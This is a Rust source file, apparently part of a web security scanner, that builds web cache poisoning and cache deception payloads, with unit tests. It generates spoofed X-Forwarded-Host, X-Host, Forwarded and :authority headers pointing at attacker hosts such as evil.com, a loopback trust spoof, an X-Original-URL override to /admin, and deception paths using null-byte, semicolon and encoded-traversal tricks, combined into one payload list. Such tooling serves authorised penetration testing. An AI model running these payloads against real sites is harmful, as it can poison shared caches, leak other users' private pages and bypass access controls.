#[must_use]
pub fn x_forwarded_host(attacker_host: &str) -> String {
format!("X-Forwarded-Host: {attacker_host}")
}
#[must_use]
pub fn x_forwarded_scheme(scheme: &str) -> String {
format!("X-Forwarded-Scheme: {scheme}")
}
#[must_use]
pub fn x_forwarded_port(port: u16) -> String {
format!("X-Forwarded-Port: {port}")
}
#[must_use]
pub fn x_original_url(target_url: &str) -> String {
format!("X-Original-URL: {target_url}")
}
#[must_use]
pub fn x_host(attacker_host: &str) -> String {
format!("X-Host: {attacker_host}")
}
#[must_use]
pub fn forwarded_rfc7239(attacker_host: &str, scheme: &str) -> String {
format!("Forwarded: for=1.1.1.1;host={attacker_host};proto={scheme}")
}
#[must_use]
pub fn x_backend_host(attacker_host: &str) -> String {
format!("X-Backend-Host: {attacker_host}")
}
#[must_use]
pub fn loopback_trust_header() -> String {
"X-Real-IP: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1".to_string()
}
#[must_use]
pub fn web_cache_deception_paths(dynamic_path: &str) -> Vec<String> {
let p = dynamic_path.trim_end_matches('/');
vec![
format!("{p}/cache_buster.css"),
format!("{p}/cache_buster.js"),
format!("{p}/cache_buster.png"),
format!("{p}/cache_buster.jpg"),
format!("{p}/cache_buster.svg"),
format!("{p}/.css"),
format!("{p}/..%2fcache_buster.css"),
format!("{p};.css"),
format!("{p}%00.css"),
format!("{p}%3B.css"),
format!("{p}#.css"),
]
}
#[must_use]
pub fn cache_key_normalization_variants(base_path: &str) -> Vec<String> {
let p = base_path.trim_end_matches('/');
vec![
format!("{p}/"),
format!("{p}"),
format!("{p}//"),
format!("{p}%2f"),
format!("{p}?a=1&b=2"),
format!("{p}?b=2&a=1"),
format!("{p}?A=1"),
format!("{p}#x"),
format!("{p}/."),
format!("{}", p.to_uppercase()),
]
}
#[must_use]
pub fn vary_header_confusion(vary_on: &str) -> String {
format!("Vary: {vary_on}")
}
#[must_use]
pub fn status_code_poison_header() -> &'static str {
"X-Force-404: 1"
}
#[must_use]
pub fn h2_authority_split(attacker_authority: &str) -> String {
format!(":authority: {attacker_authority}")
}
#[must_use]
pub fn all_cache_poison_payloads(
attacker_host: &str,
target_path: &str,
) -> Vec<(&'static str, String)> {
let mut out = vec![
("x-forwarded-host", x_forwarded_host(attacker_host)),
("x-forwarded-scheme-http", x_forwarded_scheme("http")),
("x-forwarded-port-8080", x_forwarded_port(8080)),
("x-original-url", x_original_url("/admin")),
("x-host-akamai", x_host(attacker_host)),
(
"forwarded-rfc7239",
forwarded_rfc7239(attacker_host, "https"),
),
("x-backend-host", x_backend_host(attacker_host)),
("loopback-trust", loopback_trust_header()),
("vary-cookie", vary_header_confusion("Cookie")),
("vary-ua", vary_header_confusion("User-Agent")),
("status-404-as-200", status_code_poison_header().to_string()),
("h2-authority-split", h2_authority_split(attacker_host)),
];
for (i, p) in web_cache_deception_paths(target_path)
.into_iter()
.enumerate()
{
out.push((
match i {
0 => "deception-css",
1 => "deception-js",
2 => "deception-png",
3 => "deception-jpg",
4 => "deception-svg",
5 => "deception-dot-css",
6 => "deception-traversal",
7 => "deception-semicolon",
8 => "deception-null-byte",
9 => "deception-encoded-semi",
_ => "deception-fragment",
},
p,
));
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn x_forwarded_host_basic() {
assert_eq!(
x_forwarded_host("attacker.example"),
"X-Forwarded-Host: attacker.example"
);
}
#[test]
fn x_forwarded_scheme_https() {
assert_eq!(x_forwarded_scheme("https"), "X-Forwarded-Scheme: https");
}
#[test]
fn x_forwarded_port_high() {
assert_eq!(x_forwarded_port(8443), "X-Forwarded-Port: 8443");
}
#[test]
fn x_forwarded_port_max() {
assert_eq!(x_forwarded_port(u16::MAX), "X-Forwarded-Port: 65535");
}
#[test]
fn x_original_url_basic() {
assert_eq!(x_original_url("/admin"), "X-Original-URL: /admin");
}
#[test]
fn x_host_akamai() {
assert_eq!(x_host("evil.com"), "X-Host: evil.com");
}
#[test]
fn forwarded_rfc7239_format() {
let h = forwarded_rfc7239("evil.com", "https");
assert!(h.starts_with("Forwarded: "));
assert!(h.contains("for=1.1.1.1"));
assert!(h.contains("host=evil.com"));
assert!(h.contains("proto=https"));
}
#[test]
fn x_backend_host_basic() {
assert_eq!(x_backend_host("evil"), "X-Backend-Host: evil");
}
#[test]
fn loopback_trust_has_both_headers() {
let h = loopback_trust_header();
assert!(h.contains("X-Real-IP: 127.0.0.1"));
assert!(h.contains("X-Forwarded-For: 127.0.0.1"));
}
#[test]
fn web_cache_deception_paths_count() {
let p = web_cache_deception_paths("/profile");
assert!(p.len() >= 10);
}
#[test]
fn web_cache_deception_includes_css_and_js() {
let p = web_cache_deception_paths("/x");
assert!(p.iter().any(|s| s.ends_with(".css")));
assert!(p.iter().any(|s| s.ends_with(".js")));
assert!(p.iter().any(|s| s.ends_with(".png")));
}
#[test]
fn web_cache_deception_strips_trailing_slash() {
let with_slash = web_cache_deception_paths("/x/");
let without_slash = web_cache_deception_paths("/x");
assert_eq!(with_slash, without_slash);
}
#[test]
fn web_cache_deception_includes_semicolon_truncation() {
let p = web_cache_deception_paths("/x");
assert!(p.iter().any(|s| s.contains(";.css")));
}
#[test]
fn web_cache_deception_includes_null_byte_truncation() {
let p = web_cache_deception_paths("/x");
assert!(p.iter().any(|s| s.contains("%00.css")));
}
#[test]
fn cache_key_normalization_variants_count() {
let v = cache_key_normalization_variants("/admin");
assert!(v.len() >= 8);
}
#[test]
fn cache_key_normalization_includes_case_flip() {
let v = cache_key_normalization_variants("/admin");
assert!(v.iter().any(|s| s.contains("ADMIN")));
}
#[test]
fn cache_key_normalization_includes_query_swap() {
let v = cache_key_normalization_variants("/x");
assert!(v.iter().any(|s| s.contains("a=1&b=2")));
assert!(v.iter().any(|s| s.contains("b=2&a=1")));
}
#[test]
fn vary_header_basic() {
let h = vary_header_confusion("Cookie");
assert_eq!(h, "Vary: Cookie");
}
#[test]
fn status_code_poison_constant() {
assert_eq!(status_code_poison_header(), "X-Force-404: 1");
}
#[test]
fn h2_authority_split_basic() {
let h = h2_authority_split("evil.com");
assert_eq!(h, ":authority: evil.com");
}
#[test]
fn all_cache_poison_minimum_count() {
let v = all_cache_poison_payloads("evil.com", "/profile");
assert!(v.len() >= 20);
}
#[test]
fn all_cache_poison_unique_names() {
let v = all_cache_poison_payloads("e", "/p");
let names: std::collections::HashSet<&&str> = v.iter().map(|(n, _)| n).collect();
assert_eq!(names.len(), v.len());
}
#[test]
fn all_cache_poison_carries_marker() {
let v = all_cache_poison_payloads("UNIQUE_HOST", "/UNIQUE_PATH");
let any_carries_host = v.iter().any(|(_, p)| p.contains("UNIQUE_HOST"));
let any_carries_path = v.iter().any(|(_, p)| p.contains("UNIQUE_PATH"));
assert!(any_carries_host);
assert!(any_carries_path);
}
#[test]
fn deterministic_across_calls() {
let a = all_cache_poison_payloads("e", "/p");
let b = all_cache_poison_payloads("e", "/p");
assert_eq!(a, b);
}
#[test]
fn handles_unicode_host() {
let h = x_forwarded_host("é.攻击.com");
assert!(h.contains("é.攻击.com"));
}
#[test]
fn adversarial_long_path_no_panic() {
let big = "/x".repeat(10_000);
let _ = web_cache_deception_paths(&big);
let _ = cache_key_normalization_variants(&big);
let _ = all_cache_poison_payloads("e", &big);
}
#[test]
fn forwarded_rfc7239_no_crlf() {
let h = forwarded_rfc7239("e", "https");
assert!(!h.contains("\r"));
assert!(!h.contains("\n"));
}
#[test]
fn x_forwarded_port_zero_renders() {
let h = x_forwarded_port(0);
assert!(h.ends_with(": 0"));
}
}